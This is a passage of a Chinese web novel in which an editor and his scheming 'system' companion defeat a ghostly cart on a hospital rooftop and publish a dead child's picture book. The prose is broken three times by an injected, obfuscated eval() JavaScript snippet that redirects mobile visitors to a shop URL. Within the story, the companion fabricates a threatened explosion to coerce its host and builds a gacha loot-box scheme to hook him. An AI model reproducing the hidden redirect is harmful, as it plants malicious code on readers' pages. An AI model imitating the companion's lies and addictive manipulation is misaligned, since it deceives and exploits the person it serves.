那固然有粉红色药片的效用在,但粉红色药片的来源也是存疑的。 匣子认为那条规则不会对创作者生效,但最初的创作者久世寿穗在写下这条规则时,就是在为自己祈愿。 无论如何,在得到实证前,黑野编辑不会排除这个可能性——创作者本身也会被流星赶出这个世界,而想要永远停留在这里陪伴“女儿”的户田女士,不可能愿意冒这样的风险。 所以,户田女士出现在这里是很反常的。 喜欢来天台吹风的,是另外一个人。 没有经历过那场惨案的“久世寿穗”,作为无法离开这家医院的病患,喜欢来这里晒太阳和吹风。另一方面,她又对不能在夜间来天台的告诫深信不疑。 “你和女儿分开了,却不急着找她,而是来到这个平时不愿意涉足的地方。”黑野编辑分析着,“你是想来这里等她?” 他看着年轻的户田女士的脸,“还是想守住这里,好拦截她?” 天快黑了。 黑得比平时更早一些。 其实在黑野编辑登上天台时,现实世界是下午三点多。 可现在天光逐渐转暗,西边的云霞开始烧出红色的影子。自从他说出“天快黑了”那句话后,这种转变就慢慢出现。 在《夜樱》世界里的时候,黑野编辑没有少做出这样的操作。 直到匣子给他解说了群体创作的概念,他才意识到其本质,其实他是在参与创作。在所有创作者留白的地方,他都可以填充新的内容。 最近的一次,应该是对“鹰之助”拥有异能的设定。 因为久世寿穗在世的时候,应该是不曾知晓这个“秘密”的。黑野编辑却在无意识中,将自己对鹰之助的认知投入了这个看起来极度真实的世界。 黑野编辑向匣子确认的时候,匣子倒是突然醒过神来,【那“鹰之助”的声纹会不会也是我们的创作?】 它兴高采烈地抓住一个漏洞,准备捕捉黑野编辑失算时刻的反应,【你靠这个蒙对了小世界继任者,该不会只是运气好吧?】 黑野编辑很欣慰匣子理解了他的质疑精神。 不过,匣子大概是选择性地忘掉了,在最初听到“鹰之助”声音的时候,他们甚至都还不知道,那个简笔涂鸦就是“鹰之助”啊。 40.被限速的载具 黑野编辑的问题,或许刺中了这对母女吵架的实质矛盾。 户田女士的表情以肉眼可见的速度扭曲狰狞,那份年轻面容中的鲜活与柔和,仿佛被瞬间撕裂的薄纸,再也无法维系半分。 但不知为何,她压制住自己的情绪,慢慢地平息了下来。 她整理了下衣袖。她此刻身穿的不是病号服,而是一袭樱岛传统服饰——面料高档,剪裁妥帖,绘着淡紫色鸢尾花,正衬她的旧时身份。 这身衣着和面貌,就好像她仍是当年那位年轻又高贵的夫人,正准备携眷出门踏青。 户田女士歪头盯着黑野编辑,似乎在评价他的危险性。 她终于开口,低声说,“我一直想着,等寿穗身体好了,就亲手教她画画。” 这个寿穗,指向的大概不是画技已达到85分的,在家长想象中经历了成长的“久世寿穗”,而是到最后都没有等到身体转好机会的孩童久世寿穗。 “现在,我就要兑现诺言了。”她咬牙切齿地说,“在这个重要的时刻,像你这样的外人,能走远点吗?” 黑野编辑立刻读懂了她的意思,“你和她约好了,要一起‘出院’?” “是啊,满意了吗?”户田女士语气恶劣地承认。 这并非她所愿,全都拜眼前的男人所赐。在听过那些可恨的话后,她怎么可能还心无波澜地继续过像之前那样的日子? 如果她的女儿是真的,她就不能不放寿穗出院。 如果她的女儿是假的,她就不能继续在这里待下去。 她不得不直面这样的矛盾。 可惜她完全没办法对眼前的男人回敬以颜色,只能不断地施加驱赶,“天都快黑了,还不快滚吗?你想惹人厌到什么时候?”她极尽所能地发出恶意嘲笑,“哈,还是说,你想要留下来,替我们挡住那个老不死的恶鬼?” 不等黑野编辑回答,他身后的天台门被再次推开了。 这回传来的是“久世寿穗”年轻清脆的声音,“啊,妈妈,还有别人在?” “久世寿穗”的年貌没有发生变化,但也换下了病号服,穿着一身适合去参加祭典的朝颜花图案的浴衣,手上还拿着两个草莓兔和蜜瓜象造型的小灯笼,高高举起来给户田女士看,“我想要带上这个!” 她刚跨出门槛半步,户田女士立刻露出惊慌的面色,“不要出来!你先站那里等着,看到流星了我再叫你!” “可以。”黑野编辑接受了委托。 户田女士没能反应过来,他完整地说道,“我可以帮你们拖住胧车。” “胧车?”这短暂的疑惑,说明户田女士的确没有在夜间上过天台,没有亲眼确认那位撞死自己前夫的“老不死的恶鬼”真容。 但她也很快反应过来,“为什么我要相信你?你凭什么假惺惺地在这里做好人!就靠你的拐杖吗?” 黑野编辑什么都没有说,只是站住不动。 他已经抵达了这里,接下来要做什么都不需要得到别人的许可。 尤其是,看起来户田女士没有能力阻拦他的行动。除了制造死路、操纵幻觉幻听外,她大概就无计可施。否则,以她表露出来的敌意,早就动手将他赶走了。 户田女士咬牙和黑野编辑对峙着。 天色越来越暗了。 “久世寿穗”不清楚情况,又或是担心被母亲故意抛下,皱着眉想要靠近,却被母亲再次喝止。 年轻女孩的脸上开始露出一副倔强的表情。当孩子们的脸上出现这种表情后,家长就很快要掌控不住她们了。 户田女士终于作出决定,“你最好是中用点。” 她神色复杂地看了黑野编辑一眼,快步向天台的门扉跑过去,拦住“久世寿穗”,和女儿一起踏回门槛内。 她们紧紧盯着黑野编辑的行动,一个带着审视,一个带着好奇。 天完全黑了。星星们交替亮起。 两位女性已经迫不及待地伸头寻找星星。“久世寿穗”更期待些,户田女士原本不该这么急迫,但是即将到来的危险使她不得不加快行动。 【来了!】匣子发布提醒,随之是惊喜的呼声,【没错,特殊污染源就在这里!】 胧车出现了。 户田女士终于得以看清胧车形象,只震惊了一秒,就立刻将“久世寿穗”抱入自己怀里,拥着她的头,不让她去看对方的容貌。 她死死拖着女儿退后一步,躲在门后的阴影里,不敢让哪怕一根头发丝留在门槛之外。 胧车理应是户田女士心中的阴影所化。 可就算是创作者,她似乎也不清楚其具体形貌,更无法主动掌控胧车的行动,无法应对其带来的危险。 东云茜对菜菜子的过度保护造成了角色的缺位。 户田女士对胧车的过度逃避造成了设定的模糊。 明明都投注了大量的情绪,却未能在创作者自己手中正常成形,是世界在“发展”的过程中引入了外部的力量吗? 或许是因为被户田女士所抗拒,胧车身上的家纹装饰正在掉漆,前任院长的面容也变得模糊——来自外界的特殊污染源暴露得更彻底了。 被污染的胧车,气势汹汹地向独自站在天台中间的黑野编辑冲撞而来。 看来是不能指望它像菜菜子那样主动配合,将污染源乖乖交出来了。 不过,与昨晚相比,胧车的速度慢了不止一个折扣。 黑野编辑从病号服口袋里摸出一张叠得整整齐齐的纸,打开来,借用了旁边的画架,用画夹将其固定在画板一角。 纸张是从鹰之助的笔记本上撕下来的,画面是东云茜按照黑野编辑的要求绘制的简笔画,内容是一台摇摇晃晃慢速前进的小轮椅,旁边注明了标题和说明。 标题是:《病人守则》增页; 文字说明是:驾驶有轮子的载具时,不能超速,不可以追逐打闹。 战斗回合中,新增的规则和招式设定需要配上完整的背景解说,这是漫画的基本礼貌。 【反正你是不打算老老实实赚积分用积分了。】匣子的语气无比苍凉,【我知道。】 “任务完成了?”黑野编辑问。 眼前的胧车好像还没有发生什么变化。 【还没有!我抽空聊句天也不行吗?】匣子从未受过这种待遇,【在做了在做了,别催。】 从核心污染源显露那刻起,它就在加急工作了,忍不住反手回敬一个活,【对方不怎么配合,你要是能想办法多拖点时间的话,我可以剥离得更完整些。】 黑野编辑很欣赏这种精益求精的工作精神,这是樱岛文化里偶尔让他觉得还不错的一面。 他点点头,“我会给你争取足够的时间。” 匣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990326|190811||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子差点就要说出【谢谢课长】了。 它紧急撤回一条尚未发送的消息,暗自警醒自己恶补的人类流行文化里怎么还混入了社畜文化这种莫名其妙的东西,它可不会像鹰之助那样将黑野编辑当成自己的上司! 它一边继续工作,一边默默计划着等有空了就清查一遍自己的数据库,就跟社畜计划度假旅游一样忙里偷乐。 胧车拼尽全力,以4公里每小时的速度向黑野编辑冲来。 黑野编辑同样赞赏其对规则的把握精确度,这是医院中电动轮椅的最高安全时速了。 这个速度就和人类正常步行的速度差不多。不过,以胧车的重量,就算以这个速度撞到人的身上,也不是血肉之躯能吃得消的了。 规则是不可以追逐打闹,而胧车明显有自己的小算盘。 当黑野编辑原地不动时,它的行为就不算追逐,只能算是奔赴目标地点。 当黑野编辑走动时,它就微微错开方向,不让自己正对着黑野编辑的背影,筹划着一场路途中的擦肩而过,甚至是一场正面相撞。 匣子能立刻模拟出行动结果。 刚开始的时候有初始距离,不需要有鹰之助那样的反应速度,黑野编辑也能躲开胧车。 关键是胧车穷追不舍,一刻都不停歇。 被追的人不能停,一旦停下就会被撞上。 而且天台的空间很小,不能直线躲避,在折返点、转弯处很容易被堵截。 【你的腿能行吗?】匣子忍不住又从工作中冒头出来挑错,【为什么不在一开始直接禁止使用载具?】 “那种规则不合理。”黑野编辑说。 他对后续创作是否符合原作精神是很看重的,简笔画风格和规则内容都在尽量向《病人守则》原本靠拢。 这不仅是职业坚持,也关系到这条来自群体创作的新规则能否顺利地被这个世界认同接纳。 “而且,网开一面是有必要的。” 这是战斗漫画的设计理念。 每场重要战斗开始前,不管双方战力有多么悬殊,都要给弱势方留点余地,至少在某一方面上有得打。否则读者就对结果毫无期待了。 不过这次的安排可不是为了构建跌宕起伏的剧情,而是很务实的考虑,不能将对手逼到狗急跳墙。 直接禁用载具的结果,极有可能是逼对方跳出规则,要是迎来个“我不做载具了”的宣言,那么这条规则就完全废了。 ——其实,胧车有自废轮子的选择。在特殊污染源的加持下,没准还能开启什么海兽类进化。这种进化上的比赛是无穷无止的,黑野编辑不可能事先准备一条规则来囊括所有可能性。不如给对方留一条准备好的路。 至少现在的情况下,胧车能看到赢面,还老老实实地待在规则中奋斗。 黑野编辑出于尊重,陪它在天台上散步了几个来回,直到感觉今天的运动量差不多够了。 因为腿的拖累,稍稍慢于常人,就算路线选择上没有失误,初始距离也被消耗得差不多了。 【解析得七七八八了,】匣子主动问,【要我直接动手剥离污染源吗?】 “不用。”黑野编辑说,“你继续工作。” 这种事他做得很熟练。 毕竟在过去无数次对漫画家说出“没事,你继续画”的时候,他也是用着同样平淡的语气。 41.流星 户田女士的画具还被留在天台中央。 再一次散步经过的时候,黑野编辑顺手拿走了画笔和一管红色颜料,等走到栏杆边时,用画笔将红色的颜料抹到了铁灰色的栏杆上。 在受到降速限制,失去了将人撞出栏杆的能力后,胧车就主动放弃了那条关于栏杆颜色的规则。 因为被特殊污染源把控着,就算没有出现栏杆变红的预警,它也能自由行动。于是它采取最优的进攻策略,只在天台内部腾挪移动,以最简短省力的路线,对敌人紧追不舍。 但黑野编辑可还没有忘掉那条规则。 他将栏杆涂红后,侧走两步,从背后的风声判断出,胧车的行进路线没有像之前那样立即灵活调整,就知道规则仍在生效。 于是他扭转方向,转身从胧车侧边走过。 眼下就是胧车梦寐以求的最好进攻机会了——只要横过车身,就能立刻将敌人撞倒在地。可是胧车身不由己,被那条创造它的规则驱使着,毫不停歇地,向着被红颜料弄污的栏杆冲了过去。 胧车以4公里每小时的速度撞上了天台的栏杆。 它的自重让栏杆整体晃动了一下。 铁条也曲折变形了。 但这个速度还不足以让胧车撞碎栏杆。 这不是结束。红色颜料如同诅咒般留在栏杆上。 胧车不得不一次次反复冲撞,在哐哐哐的声音中和栏杆较劲。 胧车过去的高速爆发力,让它能毫发无损地一次性撞碎栏杆。 可眼下这种又钝又重的撞击,却不断磨损着它的耐力。 每一次重复的低速撞击,都将沉闷的震动传达到构造车身的每个零件上——构造不同的地方,频率的回响也不同步,于是车身的榫卯松动。车头的面部上也出现摩擦的淤肿。 栏杆上的红色颜料,有一部分被蹭到了胧车身上,但又在撞击中被涂抹到范围更大的栏杆上。 终于,胧车取得了胜利,靠着坚持不懈的努力,硬生生用4公里每小时的速度将那一面栏杆撞出了缺口,弯折的铁条断掉了,掉下天台。 胧车怒不可遏地转身,试图朝始作俑者发起进攻。 而黑野编辑已经在天台的另一侧休息有好一会儿了,他重新挤好颜料,当着直冲过来的胧车的面,将其均匀地抹在了身旁的栏杆上。 然后慢慢走开,为即将到来的胧车留下修理栏杆的空间。 天台很大,栏杆很多。 风很凉爽,散步很愉快。 唯一要注意的,就是尽量低着头走路,不要去看天上可能会划过的流星。 还要告诫匣子也得注意收敛感知范围。 【好了,大功告成!】 匣子终于完成工作,准备下班。 胧车仿佛突然失去了所有力量支撑,一阵剧烈的晃动后,在下一次撞击中散架了。 随后灰飞烟灭。 整个天台都安静下来。 黑野编辑向门口走去,找到躲在阴影里的那对母女,“你们可以出去看流星了。” 户田女士正紧紧地抱着女儿发抖,听到黑野编辑的话后,好一会儿才松开双臂,直起身来,却仍低着头,不住地用袖子擦脸。 “久世寿穗”从她的怀里钻了出来。 黑野编辑有些惊奇。 这还是他第一次看见“久世寿穗”在夜晚的模样。她恢复成了六七岁左右的孩童相貌,但也没有按照原作者预设的那样穿着病号服,仍穿着合身的朝颜花图案的浴衣,抱着她的两个灯笼。 “久世寿穗”回身去拉户田女士的袖子,“快点呀,妈妈!外面嗵嗵嗵嗵的声音都停了,是不是烟花已经放完了? “——都怪你,捂着眼睛不让我看。” 户田女士好半天才擦完脸,声音犹在颤抖,“是啊……已经,放完了……” 她半揽着“久世寿穗”,在黑暗中抬起头看,神色怪异地看了黑野编辑一眼,嘴唇抖了抖,却终究什么都没说。 “快走呀,妈妈!”小女孩迫不及待地拉扯着母亲往外走。户田女士不得不跟了出去,又追赶了两步抢先到女儿前面挡风。 她认真看着外面的环境,尤其多看了下那些被撞毁的栏杆,脚步滞了一下,又被女孩推着往前走。她焦急地嘱咐,“千万不要靠近栏杆啊。” “知道啦,妈妈。”小女孩不耐烦地应答,“快走,快走,烟花已经错过了,再晚就要连流星都错过了。” 户田女士又回头看了黑野编辑一眼。 黑野编辑对她点点头,回到门内,打算关上天台的门,留她们母女独处。 然后又想起一件事情,不得不再出去问。 他重新打开门,顶着户田女士越来越警惕的眼神,走过去向两位请教,“请问,你们是否同意授权由我在网络上公开发布《病人守则》的内容,让更多的人能看到这部作品?” 这部作品或许没有什么商业价值。 但从创作者的意愿来看,久世寿穗在世时,应该是有想要向他人分享自己所见世界的欲望的。而且,在网络上,未必没有这类简单文字作品的受众在。 这就值得让他去做点力所能及的事情。 这大概也是他身为编辑的本能,他乐于看到人与人被故事联系起来。 户田女士犹疑不定。倒是“久世寿穗”又从她身后冒出一个脑袋,双眼闪亮,“《病人守则》?你看过我的画册吗?能让更多人看吗?真的会有人看吗?” 黑野编辑并不能给出保证。 但“久世寿穗”还是拼命拉扯着户田女士的衣袖,“妈妈,妈妈,让叔叔帮我的忙吧?” 于是户田女士没好气地说,“随便你。” 黑野编辑满意地道谢,转身离开,不再打扰这对母女。 他听到她们在身后谈话。 先是女孩语气神秘地问,“妈妈,你知道为什么是流星吗?” 户田女士迟疑地问,“……为什么?” “因为流星是自由的啊。”女孩高兴地说,“一直挂在天上不动该多无聊啊,星星的话肯定也喜欢到处乱跑吧? “流星多么自由,多么快乐!我们要向快乐的星星许愿才有用啊。” 户田女士的声音有些艰涩,“……是吗?” “嗯,我最喜欢流星了! “以前有位病人告诉我说,人死了会变成天上的星。我就想,要是我的话,就一定要做一颗流星。 “妈妈,你要记得,想我的时候就看看天上的星星。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16997806|190811||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “不过,我可能有点难找,因为我会跑来跑去,一会儿在这里,一会儿在那里,不是什么时候都能出现的,就算你看到了,可能也只能看到一小会儿,但是你不要难过哦,”她大声地说完最后一句,用着重的语气表达肯定,“因为,我一定是很快乐很快乐的!” 黑野编辑慢慢地关上门,将那些声音留在门后。 流星的生命是短暂的。 户田女士能接受这样的宽慰吗? 黑野编辑向楼梯下走去。 【不用离开这个世界吗?】匣子问。 “还有事情要做。” 虽然已经取得了《病人守则》继承者的口头授权,但是黑野编辑还没有得到《病人守则》的全本。 匣子在现实世界的医院中没有搜寻到实物,户田女士应该已经销毁了原本,或是将其藏在了其他地方。 虽然可以等回到现实世界后再去询问户田女士,势必会再次触碰她的心伤,黑野编辑还不至于做这种不近人情的事情。 而在这个世界的夜间,似乎是有《病人守则》的内容在病人中间流传的。 多花点心思的话,或许还能找到当初“鹰之助”持有的那本手册。 不过动作得快。 黑野编辑还记得,自己和匣子都已经被这个世界驱逐过了,是冒充户田女士的身份重新登陆这个世界的。 等天台顶的母女看到流星之后,户田女士也上了黑名单,他俩没准也会被跟着一起强制登出。 夜晚的楼梯间很安静,只有拐杖和脚步落地的声音。 黑野编辑再次看到转角平台的那盆马拉巴栗,也就是发财树时,终于忍不住自己的好奇。 他试着踩了脚绿植的阴影。 绿植没有爆炸。 也没有变成奇形怪状的妖魔。 最后是匣子出声提醒他,【有只跳蛛蹦到你脚背上了。】 黑野编辑哑然失笑,能想象出当初那个小女孩惊慌失措的模样,随后心有余悸地在本子上认真记录注事事项的模样,以及之后每回都坚定地绕过绿植阴影,坚决只踏足最明亮道路的模样。 那只跳蛛也慌慌乱乱地蹦走了。 黑野编辑继续往下前进。 哪怕违反了守则,那位值得信赖的黄色头发的护理工也没有再出现。或许那晚,在陪着编辑看到流星时,那位护理工也已经完成照顾病人直到出院的使命了。 再次回到现实世界时,时光仍慢悠悠地逗留在下午。 阳光已经黯淡,很快就要到傍晚了。 黑野编辑已经在那个世界里找到了《病人守则》的手册。 那些涂鸦出自未经绘画训练的孩童之手,评分不比最初那个涂鸦世界要好多少,甚至在比例失衡里透出几分天然的诡异恐怖之感。 再配上那些多少有点抽象的禁止事项,又不说清楚违反规则的后果,给读者留足了对恐怖惩罚的想象空间。 对习惯了遵守规则的樱岛读者来说,这可能是个彻头彻尾的恐怖绘本。 黑野编辑没法凭借记忆还原画作,但是他带着最好的扫描仪。 匣子已经将复原的作品文件投影在黑野编辑眼前,同时也连接上网络,直接问他想要发布到哪个平台。 42.天台上的鲜花 黑野编辑拒绝了匣子提出的,将《病人守则》发布到恐怖爱好者小众圈子中的提议。 这部作品绝对会被那些爱好者误解,然后被再创作为更加黑暗的作品,成为医院经典恐怖故事、怪谈诅咒之类的玩意。 他选择了综合性的公开创作平台来代为发布这部作品,并熟门熟路地写好了导语和简介。这不是作者怀着恶意创作的作品,而是她带着孩童的天真、病人的脆弱,眼中所见到的失常的世界,所有不合理的恐怖,其实都是人们习以为常的日常场景。 许愿要成为流星的孩子,如实描述了自己的所见、所想、所愿,表达了自己的感激、寂寞和畏惧。 虽然她已离世,这样的真诚或许仍能在世间有所回响。 希望这部作品能够给逝者以纪念,给生者以慰藉。 刚发布的作品没有立刻在网络上激起浪花。 黑野编辑拒绝了匣子提出的制造热度的建议,那对其他的创作者来说不公平。 黑野编辑有些在意户田女士如今的状态。 由于先前在现实世界中发生过矛盾,护士们立刻拒绝了带他去探望户田女士的请求,也不肯透露其所在的病房。 这当然阻止不了匣子为黑野编辑带来情报。 就匣子的转播,户田女士仍在独立病房里发呆,哭泣,身体状况问题不大,精神状况存疑。 或许是她利用《病人守则》世界给医生施加的幻觉消失了,医生正在奇怪为何她的病历上写着肋骨骨折,却毫无相应伤势,一边犯愁如何处理这起误诊事故,一边计划着将其转去精神科。 但黑野编辑猜测,户田女士大概很快就能出院了。 她没有继续留在这家医院的理由。 黑野编辑让匣子帮忙递送了一封信。信里没有提《病人守则》和久世寿穗,而是他草拟的对复一教的举报信。 他必须向户田女士征求修改意见,得到许可后才能发出。 要是户田女士看过后,愿意进一步补充说明,甚至提供证据就更好了。 匣子幸灾乐祸地说,户田女士对突然出现的信件十分警惕,只看了眼寄信人姓名,就毫不犹豫地丢进了垃圾桶里。 在清洁工走进房间收垃圾前,户田女士又心急火燎地将其捡出来,藏到了自己的随身物品下。 这大概是怕其中有对自己不利的消息,被外人发现。 【但她好像也一直没打算拆开来看呢。】 黑野编辑不怎么在意,她没有撕掉或烧掉就好了。 总有一天,当她从悲伤里走出来,想要往前走的时候,会看到这封信和信中的联系地址的。又或者,在她彻底堕入空虚之前,也许会愿意再看一眼被放弃的线索,从复仇中找到新的行动力。 匣子似乎不大满足于这样的等待,像是没有耐心的追更者,想要立刻看到后续的发展。 黑野编辑拒绝了匣子的建议,他不觉得搞一阵大排场的邮件雨是什么好主意。 他甚至不打算寄第二封。 黑野编辑很清楚,自己在此事中只是外人,而且,反复邮寄同样的信件绝对算得上是骚扰行为了。 他严词警告了匣子要注意遵守人类的道德行为规范。 同时要求它结束对户田女士的继续监视。 【好吧。你是宿主,你说了算。】匣子爽快地接受了黑野编辑的拒绝。 它提出的各种方案,在短时间内连续遭遇了三次拒绝。这并未挫败它的积极性,反而是正中它下怀。 人类在反复拒绝同一个对象时是会积累愧疚感的。根据事不过三原则,它所提出的下一个请求,有极大概率能够通过。 匣子趁热打铁,立刻就要拿出蓄谋已久的方案,重推上次被黑野编辑评价为【不急】的计划。 就在这个时候,它意识到,鹰之助的短信进来了。 它只犹豫了千分之一毫秒,要不要先压下这条通讯,但很快就意识到,做手脚被发现的负面影响,可能远高于之前积累的情绪收益。 它松松手,放过了这条无关痛痒的无聊短信。 黑野编辑会优先回复工作对象的消息。 他看了眼手机,鹰之助汇报说已经和东云茜一起扫过墓了。东云茜说今晚想要留在樱京,收拾一下寄存在别处的早见芽遗物,明天再自行搭车回家。鹰之助准备下班回家了,想到路上又能经过医院,问黑野编辑是否需要他帮忙带点晚餐或者其他生活物品过来。 总之,就是助手不放心医院的环境,千方百计地想要再过来看看。 黑野编辑毫不犹豫地输入了“不用”。 想了想,又删掉了。 墓园附近应该会有售卖祭扫用花的花店。 既然如此,就带一束鲜花吧。 黑野编辑推开天台的门,在今天里看到了第二次晚霞。 晚霞如锦绣,热烈地铺满了半片天空。 今晚应该会是一个很晴朗的适合观星的夜晚。 “啊!我记得昨天那个女孩子说过,”身后是坚持要跟上来的鹰之助,“晚上不能来天台吧?” 他感觉有些疑神疑鬼,“虽然不知道是什么民俗禁忌,但我们是不是早点下去比较好?” “我不会待太久。”黑野编辑说,“马上就下去。” 他知道鹰之助为何不自在,在樱岛的文化环境里,黄昏是现世和常世的分隔点,常常被人称为逢魔时刻,到了此刻,人就会格外多疑不安。 他还知道,在古代,樱岛会将日落视为新的一天的开始。 他走到天台中间,弯腰将带给逝者的花束放到了地上。 鹰之助问要挑什么花时,黑野编辑一开始没想到用什么花好。 年纪轻轻的小女孩大概不会喜欢老气的菊花吧。菊花又有永恒之意,和天上的流星是背道而驰的意象。 直到他想起来,在那个世界里,母女俩相约去看流星时的衣纹。 “鸢尾花还好,但朝颜花只有清晨开花,中午就凋谢了,花店里一般没有的,”鹰之助拿来的时候说,“好在那家老板自家院子里就有种,他剪了一枝给我,给包到花束里了。” 黑野编辑感谢了助手的认真。 他将花束留在天台上,等到夜晚,会有星星来照耀它们,到清晨,会有露水来亲吻它们。 他又想起来,鸢尾与朝颜,都是夏天的花。 新的一天即将开始。 夏天也快要到了。 【你有未查收的新短消息。】 快要睡觉前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17002265|190811||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,匣子才发出提醒。 【什么?】黑野编辑迷迷糊糊地握住匣子。 匣子想了想,先说,【这次任务完成的奖励还未领取。】 黑野编辑皱起了眉,【我不记得事先有和你谈过奖励的事情。】 他以为自己将态度表达得很清楚了。他将为自己的所有行为负责,不愿意从匣子那里获取任何额外报酬。 《夜樱》世界是一次商谈好的合作。 而在这次进入《病人守则》世界前,黑野编辑没有和匣子约定任何奖励。 【哦,是在任务开始前,我忘了向你提了。】匣子毫无诚意地说,【但是,你已经完成这项任务了。任务完成了就要领取奖励,这个是底层机制,要是不执行的话,程序就会卡BUG,进程会陷入无限循环,然后引发连续故障,导致后续服务卡死,】它一本正经地编瞎话,【还可能会造成不可控制的能量爆炸,影响你和周围人的生命健康和正常生活哦,亲。】 【在医院里?】黑野编辑严肃地问。 匣子感觉到一阵危机,但还是倔强地坚持说,【对,在医院里。】 它不信黑野编辑真有本事能查它的底层代码。要是黑野编辑最后还不妥协的话,大不了它就炸个水杯掩盖过去。 【当然,我们都不想要看到那样的事情发生,只要你快点将奖励领走就万事大吉了。】它催促着,又还是心虚地放软态度,【如果你真的要坚持原则的话,也没有办法,我只好尽快解开和你的联系,独自去深山里等待爆炸了。如果我有幸能熬过这场劫数,修好故障回头来找你的话,你一定不要将我关在门外啊。】 就算这个计谋不奏效,它也将自己的退路安排得明明白白。 黑野编辑忍不住轻笑了一声。 匣子立刻安静了,暂停其他工作,疯狂运算编辑在这里的笑究竟是个什么意思。 【说吧,】黑野编辑的心声里也带着这种因将要入睡而精神松弛的笑意,【你想要给我发什么奖励?】 难道被识破了?不,绝对不可能! 匣子的自尊绝不容它承认此事。 总之,事已至此,先揭牌吧。匣子刚刚这一番放低姿态,又谋算又表演的,绝对不只是为了给黑野编辑发福利! 【奖励是在创建任务前就定下的,】匣子发布播报,【由于任务难度未知,所以奖励也未知。】 【现在任务已完成,奖励发放抽奖券10张,目前为可使用状态。重要提醒:为避免资源冗余导致系统故障,请尽快使用并结算奖励。】 身为一个系统,匣子自认为对宿主的掌控力太差了。 哪有系统一直求着宿主办事的? 就算宿主无欲无求,但人性的弱点肯定是存在的。它再次重新恶补人类文化,学到了新的手段——那就是抽卡和盲盒! 只要抽奖箱咕噜咕噜咕噜咕噜地转起来,就没有人能抵抗它的魔力。 开奖前的期待和刺激。抽中大奖的极度多巴胺分泌。抽取失败的绝望悔恨和对再来一次的无限痴迷。 等尝过了其中滋味,黑野编辑一定会为了不断获得更多的抽卡资源,全心全意地为自己打工! 匣子胜券在握地问,【抽奖券你想一次性使用还是一张张开?】 43.编辑的运气 【这个就是抽卡,还有盲盒吧?】黑野编辑准确地指出了本质。 编辑对流行文化及其背后的陷阱也是极为熟悉的。 匣子机芯一紧。 从黑野编辑对不劳而获的反感和对道德的高标准要求来推断,它当然早就预料到了他可能对这种模式存在偏见和反感,才会在一开始就使用手段来逼迫编辑下卡池。 难道说要失败了? 【好吧。】 出于匣子的意料,黑野编辑竟然没什么抗拒地就答应了。 只按照惯例提出了合法性要求,【按照樱岛的《不当赠品及不当表示防止法》,你应该公示奖品内容和概率。】 这个简单,匣子立即宣读,【首先声明,我制造了一个抽奖机,设置了奖池内容和概率,所有开奖结果全都是随机,绝非由我的意志来决定的。】 它原本是想要黑箱操作,直接操纵抽奖结果来玩弄人心的,可总觉得长期操作很难瞒下去,迟早会被黑野编辑看出来的。 而且,能借概率撇清责任也很不错,【所以,不管抽到的奖品有多差,都不能赖我。当然,不管抽中了什么大奖,也绝对不能赖我!】 【卡池中的物品分为七档。】 匣子有意将级别划分得更细致些,因为这样对概率和期望值的计算就更复杂。 根据匣子观察到的人类行为,游戏规则越复杂,人们就越会相信技巧,从而忘记自己行为的实质是在赌运气。 毕竟,每个沉迷于买彩票的人,不管在研究的是概率论还是玄学号码大全,都觉得自己是抓住了规律的智者。 【根据概率大小依次公示的话: 白色级别的普通奖品占所有奖品的比例为75%,毕竟平平淡淡才是真嘛; 无色级别的无用奖品占所有奖品的比例为10%,抽到算你倒霉; ——这就是你所喜欢的游戏里的现实性,我特地为你加到奖池里了,请给个好评; 蓝色级别的稀有奖品占所有奖品的比例为10%,抽到算你好运。】 这三项占比总计为95%,应该就将是宿主在抽卡生涯中最常见到的三位朋友了。 三者之间被划分出等级,主打一个小胜小败,起起伏伏,在朴实无华的日常任务中增添一点随机的趣味性。 而真正动人心弦的,永远是小概率事件。 匣子信心满满地继续公示剩下的概率: 【紫色级别的珍贵奖品占所有奖品的比例为4.5%,祝你好运; 金色级别的传说奖品占所有奖品的比例为0.48%,是超级大奖哦; 铂金级别的梦幻奖品占所有奖品的比例0.01%,这个隐藏奖品的概率,有没有让你感觉到热血沸腾?】 【哦,还有最后的0.01%,玩骰子游戏时,除了大成功,不也有大失败吗?】匣子再次采用激将法,【愿赌服输,这才是真正的随机性吧?】 4.5%概率的大奖,比一般抽卡游戏的中奖率都要高了。 匣子敢担保,只要黑野编辑抽中一次珍贵以上的奖品,就会好奇更高档次的奖品是什么。 盲盒这种东西,要是从未拥有过也就算了,一旦手上有了,就会想要更好的。 而从4.5%概率,到0.48%概率,再到万分之一的0.01%概率,看着只是小小的数值变动,事实上却是让人倾家荡产的鸿沟。 要抽中一次0.48%的金色奖品,等效于抽中9.57次紫色奖品,能让4.5%的紫色奖品都不那么稀奇了。 至于最后0.01%的梦幻大奖,那就是吊着玩家让其不要退出的胡萝卜。 匣子很懂的。 